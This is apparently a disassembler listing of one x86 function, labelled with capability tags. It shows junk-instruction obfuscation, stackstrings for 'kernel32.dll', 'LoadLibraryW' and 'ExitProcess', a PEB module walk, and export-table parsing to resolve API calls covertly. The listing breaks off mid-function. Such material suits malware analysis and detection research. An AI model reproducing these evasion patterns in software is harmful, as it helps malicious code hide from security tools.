Function at 0x5136d6
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
pop eax
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xb78]
mov dword [ebp - 0x14bc], eax
push esi
push ebx
add esp, 4
or esi, 0x4b9e
or esi, 0x683d
or esi, 0x8938
sub esi, 0x11aed
pop esi
push esi
xor esi, 0x9f9a
sub esi, 0x1539f
xor esi, 0x16516
pop esi
mov dword [ebp - 0x1fa8], 0xffffffff
push eax
push edi
add esp, 4
and eax, 0xeeab
and eax, 0x2dd4
or eax, 0x5702
pop eax
push esi
push esi
add esp, 4
xor esi, 0x1347e
pop esi
push esi
push eax
add esp, 4
jmp 0x511a35
pop esi
mov ecx, dword [ebp - 0x3c0]
mov dword [ebp - 0x4cc], ecx
jmp 0x511a53
mov edx, dword [ebp - 0x4cc]
add edx, 1
mov dword [ebp - 0x4cc], edx
push ecx
and ecx, 0xb999
xor ecx, 0x126eb
xor ecx, 0xa015
pop ecx
push eax
push eax
add esp, 4
or eax, 0xe785
add eax, 0x18546
pop eax
push edi
push edx
add esp, 4
add edi, 0xf6bc
pop edi
mov eax, dword [ebp - 0x4cc]
sub eax, dword [ebp - 0x3c0]
cmp eax, 0xffffffff
jb 0x511acd
push esi
push eax
add esp, 4
call 0x511aa9
add byte [ebx], bh
inc ecx
dec ebp
cmp dh, byte [edx]
inc ecx
inc esp
cmp eax, dword [ebx + 0xbe804c4]
add byte [eax], al
add byte [eax], al
dec eax
inc eax
inc ecx
dec eax
dec edi
xor al, 0x39
dec ebx
push eax
inc ebx
add esp, 4
pop esi
push eax
xor eax, 0xa8e4
pop eax
jmp 0x511cfb
mov dword [ebp - 0xc08], 7
mov ecx, dword [ebp - 0x4cc]
mov dword [ebp - 0xa68], ecx
push edi
and edi, 0xdc4d
xor edi, 0x5d6c
sub edi, 0x6911
pop edi
push ecx
push ebx
add esp, 4
xor ecx, 0x204c
sub ecx, 0xfd36
or ecx, 0x6ad
or ecx, 0xff11
pop ecx
mov edx, dword [ebp - 0x14bc]
mov dword [ebp - 0xa64], edx
mov dword [ebp - 0xc0c], 0
mov eax, dword [ebp - 0x4cc]
cmp eax, dword [ebp - 0x14bc]
jne 0x511b7c
push ebx
push ebx
add esp, 4
and ebx, 0xeac3
add ebx, 0x99cb
call 0x511b59
add byte [edi], dh
inc ecx
cmp edi, dword [edi]
dec ebp
cmp al, 0x4e
inc esp
inc edx
add esp, 4
pop ebx
push edx
xor edx, 0x11316
and edx, 0xf9d
pop edx
mov ecx, dword [ebp - 0xc0c]
mov dword [ebp - 0x14c4], ecx
jmp 0x511cad
cmp dword [ebp - 0xc08], 0
jle 0x511ca1
push ecx
push ecx
add esp, 4
xor ecx, 0x8ba6
and ecx, 0x26aa
pop ecx
push ecx
and ecx, 0xb7bc
pop ecx
push eax
push edx
add esp, 4
or eax, 0x4480
or eax, 0x2a87
or eax, 0x5076
pop eax
mov edx, dword [ebp - 0xa68]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xa64]
movzx edx, byte [ecx]
cmp eax, edx
je 0x511c3d
push esi
push eax
add esp, 4
sub esi, 0x81bf
add esi, 0x17a8c
add esi, 0x16a0
sub esi, 0x51fe
pop esi
push edi
sub edi, 0x579f
sub edi, 0x1a89
and edi, 0x80fd
pop edi
mov eax, dword [ebp - 0xa68]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xa64]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x511c25
mov dword [ebp - 0x14c0], 1
jmp 0x511c2f
mov dword [ebp - 0x14c0], 0xffffffff
mov ecx, dword [ebp - 0x14c0]
mov dword [ebp - 0xc0c], ecx
jmp 0x511ca1
push ebx
push esi
add esp, 4
or ebx, 0xb0f5
pop ebx
push edx
and edx, 0x3ad
xor edx, 0xa595
xor edx, 0xdce
or edx, 0xf257
pop edx
push ecx
push edx
add esp, 4
and ecx, 0xd70b
pop ecx
mov edx, dword [ebp - 0xc08]
sub edx, 1
mov dword [ebp - 0xc08], edx
mov eax, dword [ebp - 0xa68]
add eax, 1
mov dword [ebp - 0xa68], eax
mov ecx, dword [ebp - 0xa64]
add ecx, 1
mov dword [ebp - 0xa64], ecx
jmp 0x511b7c
mov edx, dword [ebp - 0xc0c]
mov dword [ebp - 0x14c4], edx
cmp dword [ebp - 0x14c4], 0
jne 0x511cf6
push esi
push eax
add esp, 4
or esi, 0x40a9
and esi, 0xa5c9
sub esi, 0x8376
pop esi
push ebx
and ebx, 0x11747
and ebx, 0x159f1
add ebx, 0x17153
add ebx, 0x5811
pop ebx
mov eax, dword [ebp - 0x4cc]
mov dword [ebp - 0x3cc], eax
jmp 0x511d37
jmp 0x511a44
push edi
push ebx
add esp, 4
or edi, 0x56b3
xor edi, 0x503f
pop edi
push ecx
push eax
add esp, 4
xor ecx, 0xa2ab
pop ecx
push eax
and eax, 0x81a2
sub eax, 0x13a3d
or eax, 0x1075b
pop eax
mov dword [ebp - 0x3cc], 0
push eax
or eax, 0x16d92
jmp 0x511d45
or eax, 0x363b
pop eax
push edi
push ecx
add esp, 4
add edi, 0xeb90
call 0x511d65
add byte [0x3e4a3f36], dh
cmp bh, byte [0x4c4833e]
pop edi
push ecx
push ebx
add esp, 4
or ecx, 0x13361
jmp 0x511d7c
pop ecx
push eax
push ebx
add esp, 4
sub eax, 0x1521a
call 0x511d97
add byte [edi + 0x42], cl
inc eax
inc esp
inc edi
aaa
dec eax
inc ebp
aaa
add esp, 4
pop eax
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xb80]
mov dword [ebp - 0x14c8], eax
push edi
and edi, 0x9564
and edi, 0x10d97
jmp 0x511dc4
pop edi
push eax
jmp 0x511dcd
pop eax
push eax
jmp 0x511dd5
xor eax, 0x263
sub eax, 0x11e34
pop eax
mov dword [ebp - 0x1fac], 0xffffffff
push edx
push esi
add esp, 4
xor edx, 0x17262
xor edx, 0x3c82
add edx, 0x90a2
sub edx, 0x12c98
pop edx
push eax
push esi
add esp, 4
jmp 0x511e17
xor eax, 0x137d2
pop eax
mov ecx, dword [ebp - 0x3c0]
mov dword [ebp - 0x4d0], ecx
jmp 0x511e3b
mov edx, dword [ebp - 0x4d0]
add edx, 1
mov dword [ebp - 0x4d0], edx
push ecx
call 0x511e4a
add byte [edx + 0x3f], cl
xor al, 0x33
aas
cmp al, 0x4e
inc eax
add esp, 4
pop ecx
push esi
push eax
add esp, 4
jmp 0x511e58
or esi, 0x6b9c
pop esi
push ebx
or ebx, 0x11879
sub ebx, 0x1531a
pop ebx
mov eax, dword [ebp - 0x4d0]
sub eax, dword [ebp - 0x3c0]
cmp eax, 0xffffffff
jb 0x511eb5
push ebx
push edi
add esp, 4
add ebx, 0x98e1
pop ebx
push edx
push edi
add esp, 4
jmp 0x511e97
and edx, 0xacb6
pop edx
push eax
push edx
add esp, 4
and eax, 0xc860
or eax, 0x16500
pop eax
jmp 0x5120e3
mov dword [ebp - 0xc10], 7
mov ecx, dword [ebp - 0x4d0]
mov dword [ebp - 0xa60], ecx
push ecx
jmp 0x511ed4
pop ecx
push ebx
sub ebx, 0xf209
pop ebx
push esi
xor esi, 0x7a11
jmp 0x511eed
sub esi, 0x152be
jmp 0x511efc
pop esi
mov edx, dword [ebp - 0x14c8]
mov dword [ebp - 0x9f0], edx
mov dword [ebp - 0xc14], 0
mov eax, dword [ebp - 0x4d0]
cmp eax, dword [ebp - 0x14c8]
jne 0x511f64
push edx
add edx, 0xbe92
or edx, 0x15bbd
call 0x511f3c
add byte [0x4f3a4d38], dh
inc esp
add esp, 4
xor edx, 0xc72f
pop edx
push esi
or esi, 0x15e4e
jmp 0x511f52
pop esi
mov ecx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], ecx
jmp 0x512095
cmp dword [ebp - 0xc10], 0
jle 0x512089
push edi
push ebx
add esp, 4
add edi, 0x2655
xor edi, 0xd127
pop edi
push esi
push ebx
add esp, 4
or esi, 0x23e3
or esi, 0x16a37
xor esi, 0xfb6d
pop esi
push ebx
and ebx, 0xefec
pop ebx
mov edx, dword [ebp - 0xa60]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x9f0]
movzx edx, byte [ecx]
cmp eax, edx
je 0x512025
push edx
or edx, 0x1463d
call 0x511fcf
add byte [esp + edi + 0x4b], cl
inc eax
inc ebx
xor eax, 0x834c484c
les eax, [edx + ebx*2]
push ebx
push edi
add esp, 4
xor ebx, 0x934f
or ebx, 0x4fa6
xor ebx, 0x1696f
pop ebx
mov eax, dword [ebp - 0xa60]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x9f0]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x51200d
mov dword [ebp - 0x14cc], 1
jmp 0x512017
mov dword [ebp - 0x14cc], 0xffffffff
mov ecx, dword [ebp - 0x14cc]
mov dword [ebp - 0xc14], ecx
jmp 0x512089
push edi
or edi, 0xc968
xor edi, 0xa8eb
xor edi, 0x10ed8
and edi, 0x10897
pop edi
push ecx
push ebx
add esp, 4
add ecx, 0x144cc
add ecx, 0x9b4a
and ecx, 0x13c2a
pop ecx
mov edx, dword [ebp - 0xc10]
sub edx, 1
mov dword [ebp - 0xc10], edx
mov eax, dword [ebp - 0xa60]
add eax, 1
mov dword [ebp - 0xa60], eax
mov ecx, dword [ebp - 0x9f0]
add ecx, 1
mov dword [ebp - 0x9f0], ecx
jmp 0x511f64
mov edx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], edx
cmp dword [ebp - 0x14d0], 0
jne 0x5120de
push edi
sub edi, 0x7dcf
jmp 0x5120ab
xor edi, 0x15d57
pop edi
push eax
push edx
add esp, 4
sub eax, 0x5fd0
add eax, 0x2274
or eax, 0xbf7c
sub eax, 0x1c58
pop eax
mov eax, dword [ebp - 0x4d0]
mov dword [ebp - 0xa5c], eax
jmp 0x51211f
jmp 0x511e2c
push edx
or edx, 0x17b4e
add edx, 0xc475
sub edx, 0x16973
or edx, 0x3479
pop edx
push edx
push ecx
add esp, 4
add edx, 0xc155
jmp 0x51210f
jmp 0x512114
pop edx
mov dword [ebp - 0xa5c], 0
push ebx
and ebx, 0xbddd
jmp 0x51212e
xor ebx, 0x12df7
pop ebx
push ecx
call 0x512145
add byte [edx + edi], bh
aaa
dec edi
xor al, byte [ecx + 0x41]
xor eax, dword [ebx - 0x7d]
les eax, [ecx + ebx*2]
push edx
or edx, 0x137e9
pop edx
mov byte [ebp - 0x804], 0x45
mov byte [ebp - 0x803], 0x78
mov byte [ebp - 0x802], 0x69
mov byte [ebp - 0x801], 0x74
mov byte [ebp - 0x800], 0x50
mov byte [ebp - 0x7ff], 0x72
mov byte [ebp - 0x7fe], 0x6f
mov byte [ebp - 0x7fd], 0x63
mov byte [ebp - 0x7fc], 0x65
mov byte [ebp - 0x7fb], 0x73
mov byte [ebp - 0x7fa], 0x73
mov byte [ebp - 0x7f9], 0
push esi
push esi
add esp, 4
add esi, 0xe5f6
add esi, 0x12fa0
pop esi
push esi
push edi
add esp, 4
sub esi, 0x1e89
pop esi
push edx
xor edx, 0x1391
pop edx
push ebx
push esi
add esp, 4
or ebx, 0x5196
pop ebx
mov ecx, 0x6b
mov word [ebp - 0x1628], cx
mov edx, 0x65
mov word [ebp - 0x1626], dx
mov eax, 0x72
mov word [ebp - 0x1624], ax
mov ecx, 0x6e
mov word [ebp - 0x1622], cx
mov edx, 0x65
mov word [ebp - 0x1620], dx
mov eax, 0x6c
mov word [ebp - 0x161e], ax
mov ecx, 0x33
mov word [ebp - 0x161c], cx
mov edx, 0x32
mov word [ebp - 0x161a], dx
mov eax, 0x2e
mov word [ebp - 0x1618], ax
mov ecx, 0x64
mov word [ebp - 0x1616], cx
mov edx, 0x6c
mov word [ebp - 0x1614], dx
mov eax, 0x6c
mov word [ebp - 0x1612], ax
xor ecx, ecx
mov word [ebp - 0x1610], cx
push edi
xor edi, 0xb362
or edi, 0x298c
sub edi, 0x32a3
and edi, 0x12b15
pop edi
push edx
push ebx
add esp, 4
sub edx, 0x439c
pop edx
push ecx
push esi
add esp, 4
or ecx, 0x9041
pop ecx
push ebx
sub ebx, 0x8aed
or ebx, 0x6d53
and ebx, 0x14f6
pop ebx
push edx
push eax
add esp, 4
xor edx, 0xb6c5
or edx, 0x112e9
or edx, 0xdca9
xor edx, 0xba12
pop edx
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1890], edx
mov eax, dword [ebp - 0x1890]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1894], ecx
mov edx, dword [ebp - 0x1894]
mov dword [ebp - 0x14d4], edx
push ecx
push ecx
add esp, 4
add ecx, 0x12756
or ecx, 0xdc3f
pop ecx
push eax
xor eax, 0x1085a
and eax, 0x144fe
and eax, 0x3642
pop eax
push esi
push edx
add esp, 4
and esi, 0x5887
pop esi
cmp dword [ebp - 0x14d4], 0
jne 0x512346
mov dword [ebp - 0x2e0], 0
jmp 0x512602
mov eax, dword [ebp - 0x14d4]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc20], edx
push edi
push edx
add esp, 4
xor edi, 0x70a3
or edi, 0x1409d
jmp 0x512370
pop edi
push ecx
jmp 0x512377
call 0x512386
add byte [eax], bh
inc esp
xor edi, dword [edi]
cmp edi, dword [ebx]
cmp ecx, dword [edi + 0x37]
add esp, 4
pop ecx
cmp dword [ebp - 0xc20], 0
jne 0x5123a2
mov dword [ebp - 0x2e0], 0
jmp 0x512602
mov eax, dword [ebp - 0xc20]
mov dword [ebp - 0x4d4], eax
push eax
jmp 0x5123b8
jmp 0x5123be
or eax, 0x13d32
xor eax, 0x937
pop eax
push edx
and edx, 0xa13e
jmp 0x5123d7
pop edx
push esi
and esi, 0x35a7
pop esi
lea ecx, [ebp - 0x1628]
mov dword [ebp - 0xc1c], ecx
mov edx, dword [ebp - 0x4d4]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xc18], eax
xor ecx, ecx
mov word [ebp - 0x1f8], cx
xor edx, edx
mov word [ebp - 0x100], dx
push ebx
push edx
add esp, 4
jmp 0x51241b
sub ebx, 0x2319
xor ebx, 0x16ca2
xor ebx, 0xc4c2
pop ebx
push edi
or edi, 0xc877
jmp 0x51243e
pop edi
mov eax, dword [ebp - 0xc18]
mov cx, word [eax]
mov word [ebp - 0xf7e], cx
mov edx, dword [ebp - 0xc18]
add edx, 2
mov dword [ebp - 0xc18], edx
mov ax, word [ebp - 0xf7e]
mov word [ebp - 0x1f8], ax
mov ecx, dword [ebp - 0xc1c]
mov dx, word [ecx]
mov word [ebp - 0xf80], dx
mov eax, dword [ebp - 0xc1c]
add eax, 2
mov dword [ebp - 0xc1c], eax
mov cx, word [ebp - 0xf80]
mov word [ebp - 0x100], cx
push eax
push ebx
add esp, 4
add eax, 0x82a0
sub eax, 0x52d3
pop eax
push edx
push eax
add esp, 4
jmp 0x5124b6
or edx, 0x523d
pop edx
push esi
xor esi, 0x8426
add esi, 0x15c40
pop esi
movzx edx, word [ebp - 0x100]
test edx, edx
jne 0x5124ee
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
sub eax, ecx
mov dword [ebp - 0x1498], eax
jmp 0x512551
movzx edx, word [ebp - 0x1f8]
movzx eax, word [ebp - 0x100]
cmp edx, eax
je 0x51240d
movzx ecx, word [ebp - 0x1f8]
xor ecx, 0x20
movzx edx, word [ebp - 0x100]
cmp ecx, edx
je 0x51240d
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
cmp eax, ecx
jge 0x51253b
mov dword [ebp - 0x14d8], 0xffffffff
jmp 0x512545
mov dword [ebp - 0x14d8], 1
mov edx, dword [ebp - 0x14d8]
mov dword [ebp - 0x1498], edx
cmp dword [ebp - 0x1498], 0
jne 0x51259a
push ecx
sub ecx, 0xf58a
jmp 0x512566
jmp 0x51256d
pop ecx
push ebx
push eax
add esp, 4
or ebx, 0x92c3
sub ebx, 0x154a4
or ebx, 0xca02
or ebx, 0x1836
pop ebx
mov eax, dword [ebp - 0x4d4]
mov dword [ebp - 0x2e0], eax
jmp 0x512602
push edx
push ebx
add esp, 4
or edx, 0x124c3
pop edx
push ecx
call 0x5125b6
add byte [ebx], dh
cmp dword [edx + esi], edi
dec edx
aaa
cmp byte [eax - 0x7d], dl
les eax, [ecx + eax*4]
leave
pop ds
cmp al, byte [ecx]
add byte [ecx + 0x149e5c1], al
add byte [ecx + 0x33f7f1], al
add byte [ecx - 0x75], bl
lea ebp, [ebx + edi*8]
invalid
push ebx
push edx
add esp, 4
or ebx, 0x137e
jmp 0x512615
xor ebx, 0xd214
pop ebx
push edi
push esi
add esp, 4
and edi, 0x1ec8
and edi, 0xcdee
or edi, 0x136f7
pop edi
cmp dword [ebp - 0x2e0], 0
jne 0x512f4d
mov edx, 0x6b
mov word [ebp - 0x16cc], dx
mov eax, 0x65
mov word [ebp - 0x16ca], ax
mov ecx, 0x72
mov word [ebp - 0x16c8], cx
mov edx, 0x6e
mov word [ebp - 0x16c6], dx
mov eax, 0x65
mov word [ebp - 0x16c4], ax
mov ecx, 0x6c
mov word [ebp - 0x16c2], cx
mov edx, 0x33
mov word [ebp - 0x16c0], dx
mov eax, 0x32
mov word [ebp - 0x16be], ax
mov ecx, 0x2e
mov word [ebp - 0x16bc], cx
mov edx, 0x64
mov word [ebp - 0x16ba], dx
mov eax, 0x6c
mov word [ebp - 0x16b8], ax
mov ecx, 0x6c
mov word [ebp - 0x16b6], cx
xor edx, edx
mov word [ebp - 0x16b4], dx
push edi
push ecx
add esp, 4
call 0x5126eb
add byte [edi + 0x46], al
inc edi
dec ebx
dec ebp
cmp al, 0x83
les eax, [ecx + eax*4]
out dx, eax
mov byte [ebp], ch
add bl, ch
pop es
xor cl, byte [ebx + 0x50]
dec esi
inc edx
cmp bh, byte [esi]
sub edi, 0x1692b
pop edi
push eax
or eax, 0x13995
pop eax
mov byte [ebp - 0x820], 0x4c
mov byte [ebp - 0x81f], 0x6f
mov byte [ebp - 0x81e], 0x61
mov byte [ebp - 0x81d], 0x64
mov byte [ebp - 0x81c], 0x4c
mov byte [ebp - 0x81b], 0x69
mov byte [ebp - 0x81a], 0x62
mov byte [ebp - 0x819], 0x72
mov byte [ebp - 0x818], 0x61
mov byte [ebp - 0x817], 0x72
mov byte [ebp - 0x816], 0x79
mov byte [ebp - 0x815], 0x57
mov byte [ebp - 0x814], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1898], eax
mov ecx, dword [ebp - 0x1898]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x189c], edx
mov eax, dword [ebp - 0x189c]
mov dword [ebp - 0x14dc], eax
push eax
and eax, 0x104ca
xor eax, 0x16e6c
add eax, 0x12b33
or eax, 0x97ac
pop eax
push ecx
push edx
add esp, 4
add ecx, 0x2571
add ecx, 0x4cb9
and ecx, 0xe20b
pop ecx
cmp dword [ebp - 0x14dc], 0
jne 0x5127d8
mov dword [ebp - 0x6ec], 0
jmp 0x512a94
mov ecx, dword [ebp - 0x14dc]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc2c], eax
push esi
jmp 0x5127f4
pop esi
push ebx
xor ebx, 0x617a
add ebx, 0x15d71
sub ebx, 0x6d6c
jmp 0x51280d
pop ebx
push ecx
jmp 0x512815
add ecx, 0x1086f
pop ecx
cmp dword [ebp - 0xc2c], 0
jne 0x512834
mov dword [ebp - 0x6ec], 0
jmp 0x512a94
mov ecx, dword [ebp - 0xc2c]
mov dword [ebp - 0x4d8], ecx
push edi
call 0x51284f
add byte [esi], bh
inc esp
dec edx
inc ecx
dec ebx
dec esp
dec ecx
cmp eax, dword [ebx + 0xbe804c4]
add byte [eax], al
add byte [eax], al
inc ebp
xor al, byte [edx + 0x49]
xor al, 0x41
inc ebx
dec esp
inc edx
add esp, 4
add edi, 0x15f39
sub edi, 0x1337f
pop edi
lea edx, [ebp - 0x16cc]
mov dword [ebp - 0xc28], edx
mov eax, dword [ebp - 0x4d8]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc24], ecx
xor edx, edx
mov word [ebp - 0x1fc], dx
xor eax, eax
mov word [ebp - 0x104], ax
push esi
push edi
add esp, 4
add esi, 0xf025
xor esi, 0xac6b
pop esi
push edx
push esi
add esp, 4
sub edx, 0x16a22
xor edx, 0x14f8
add edx, 0xb09c
pop edx
push esi
add esi, 0xf58
pop esi
mov ecx, dword [ebp - 0xc24]
mov dx, word [ecx]
mov word [ebp - 0xf82], dx
mov eax, dword [ebp - 0xc24]
add eax, 2
mov dword [ebp - 0xc24], eax
mov cx, word [ebp - 0xf82]
mov word [ebp - 0x1fc], cx
mov edx, dword [ebp - 0xc28]
mov ax, word [edx]
mov word [ebp - 0xf84], ax
mov ecx, dword [ebp - 0xc28]
add ecx, 2
mov dword [ebp - 0xc28], ecx
mov dx, word [ebp - 0xf84]
mov word [ebp - 0x104], dx
push edx
push eax
add esp, 4
and edx, 0x112d7
pop edx
push edi
push edx
add esp, 4
and edi, 0xc4ec
sub edi, 0x22ad
pop edi
push esi
push ebx
add esp, 4
or esi, 0xff43
pop esi
push edi
sub edi, 0xa2c5
pop edi
movzx eax, word [ebp - 0x104]
test eax, eax
jne 0x512980
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
sub ecx, edx
mov dword [ebp - 0x14e4], ecx
jmp 0x5129e3
movzx eax, word [ebp - 0x1fc]
movzx ecx, word [ebp - 0x104]
cmp eax, ecx
je 0x51289f
movzx edx, word [ebp - 0x1fc]
xor edx, 0x20
movzx eax, word [ebp - 0x104]
cmp edx, eax
je 0x51289f
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
cmp ecx, edx
jge 0x5129cd
mov dword [ebp - 0x14e0], 0xffffffff
jmp 0x5129d7
mov dword [ebp - 0x14e0], 1
mov eax, dword [ebp - 0x14e0]
mov dword [ebp - 0x14e4], eax
cmp dword [ebp - 0x14e4], 0
jne 0x512a2c
push esi
push eax
add esp, 4
or esi, 0x9279
add esi, 0x106b1
xor esi, 0x1324f
pop esi
push edx
xor edx, 0x4e4e
add edx, 0xfe61
and edx, 0x613e
and edx, 0x11be
pop edx
mov ecx, dword [ebp - 0x4d8]
mov dword [ebp - 0x6ec], ecx
jmp 0x512a94
push edx
push ecx
add esp, 4
or edx, 0x10012
add edx, 0x1608b
and edx, 0x296f
pop edx
push esi
jmp 0x512a4b
pop esi
push edx
push eax
add esp, 4
and edx, 0xfb24
sub edx, 0xfa05
pop edx
mov edx, dword [ebp - 0x4d8]
mov eax, dword [edx]
mov dword [ebp - 0x4d8], eax
mov ecx, dword [ebp - 0x4d8]
cmp ecx, dword [ebp - 0xc2c]
je 0x512a8a
mov edx, dword [ebp - 0x4d8]
cmp dword [edx + 0x30], 0
jne 0x512840
mov dword [ebp - 0x6ec], 0
push eax
push ebx
add esp, 4
add eax, 0x11d74
sub eax, 0xf3a3
pop eax
push edx
push edx
add esp, 4
and edx, 0x178a1
or edx, 0x10d1e
pop edx
push edi
xor edi, 0x14bc7
and edi, 0x13ae6
pop edi
cmp dword [ebp - 0x6ec], 0
jne 0x512b10
push eax
push edi
add esp, 4
sub eax, 0x15869
pop eax
push eax
or eax, 0xb206
and eax, 0xf602
add eax, 0x1539e
pop eax
push eax
push edi
add esp, 4
or eax, 0x11026
and eax, 0x1d32
pop eax
mov dword [ebp - 0x738], 0
jmp 0x513637
push ecx
xor ecx, 0x9091
and ecx, 0x10d9e
pop ecx
push ebx
push ecx
add esp, 4
add ebx, 0xcd4f
xor ebx, 0xefbd
pop ebx
push edx
push ebx
add esp, 4
or edx, 0x10fdb
sub edx, 0xc0fb
pop edx
mov eax, dword [ebp - 0x6ec]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2f8], ecx
mov dword [ebp - 0x6fc], 0
mov edx, dword [ebp - 0x2f8]
mov dword [ebp - 0x14e8], edx
cmp dword [ebp - 0x14e8], 0
jne 0x512b81
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x512e72
mov ecx, dword [ebp - 0x14e8]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x14ec], edx
jne 0x512ba9
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x512e72
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x14ec]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x14f0], ecx
cmp dword [ebp - 0x14f0], 0
jne 0x512bdb
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
jmp 0x512e72
mov eax, dword [ebp - 0x2f8]
add eax, dword [ebp - 0x14f0]
mov dword [ebp - 0x6f0], eax
jne 0x512c00
mov ecx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], ecx
jmp 0x512e72
mov edx, dword [ebp - 0x6f0]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18a0], eax
mov ecx, dword [ebp - 0x6f0]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18a4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18a8], ecx
mov dword [ebp - 0x6f4], 0
jmp 0x512c5a
mov edx, dword [ebp - 0x6f4]
add edx, 1
mov dword [ebp - 0x6f4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x6f4]
cmp ecx, dword [eax + 0x18]
jae 0x512e66
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x6f8], ecx
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18a8]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18ac], eax
mov dword [ebp - 0x180], 0
jmp 0x512cca
mov ecx, dword [ebp - 0x180]
add ecx, 1
mov dword [ebp - 0x180], ecx
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
test eax, eax
je 0x512d7c
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
test edx, edx
je 0x512d7c
push edi
push edi
add esp, 4
xor edi, 0x16c07
sub edi, 0xf0d2
add edi, 0x3591
add edi, 0x1459c
pop edi
push esi
push edi
add esp, 4
add esi, 0xa313
pop esi
push ecx
or ecx, 0x171d7
pop ecx
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
cmp ecx, eax
je 0x512d6e
mov ecx, dword [ebp - 0x6f8]
add ecx, dword [ebp - 0x180]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x180]
movsx ecx, byte [ebp + eax - 0x820]
cmp edx, ecx
jne 0x512d75
jmp 0x512cbb
jmp 0x512d7c
push edi
push esi
add esp, 4
call 0x512d91
add byte [0x4a44423a], dh
inc ebp
cmp al, byte [eax + 0x4b]
cmp byte [ebx - 0x187efb3c], al
movsb byte es:[edi], byte [esi]
scasd eax, dword es:[edi]
add byte [eax], al
pop edi
push ebx
jmp 0x512da1
xor ebx, 0x7592
xor ebx, 0x1084b
pop ebx
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
cmp eax, edx
jne 0x512ddb
mov dword [ebp - 0xc30], 0
jmp 0x512e4a
push ebx
xor ebx, 0x4f06
pop ebx
push ecx
push ebx
add esp, 4
xor ecx, 0x181d1
or ecx, 0xc22c
pop ecx
push edx
push edi
add esp, 4
or edx, 0x142b2
xor edx, 0xc2d3
add edx, 0x7e89
pop edx
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
or eax, 0x20
cmp ecx, eax
jge 0x512e40
mov dword [ebp - 0xc30], 0xffffffff
jmp 0x512e4a
mov dword [ebp - 0xc30], 1
cmp dword [ebp - 0xc30], 0
jne 0x512e61
mov ecx, dword [ebp - 0x18ac]
mov dword [ebp - 0x3c4], ecx
jmp 0x512e72
jmp 0x512c4b
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
cmp dword [ebp - 0x3c4], 0
je 0x512f4d
push ebx
or ebx, 0x26ef
and ebx, 0x16e78
add ebx, 0x9c82
call 0x512ea1
add byte [edx], dh
inc ebx
cmp al, 0x4d
dec ebx
dec edx
inc eax
cmp al, 0x83
les eax, [ebx + ebx*2]
push esi
push eax
add esp, 4
xor esi, 0xef69
pop esi
mov eax, dword [ebp - 0x3c4]
mov dword [ebp - 0x18b0], eax
push edx
push ecx
add esp, 4
sub edx, 0x11891
xor edx, 0x114cc
add edx, 0x87ff
pop edx
push edi
add edi, 0x666b
and edi, 0x41bf
add edi, 0x181a0
xor edi, 0x176e5
pop edi
mov ecx, dword [ebp - 0x18b0]
mov dword [ebp - 0x18b4], ecx
lea edx, [ebp - 0x1628]
push edx
call dword [ebp - 0x18b4]
test eax, eax
jne 0x512f4d
push ecx
push edx
add esp, 4
and ecx, 0x9075
add ecx, 0x12855
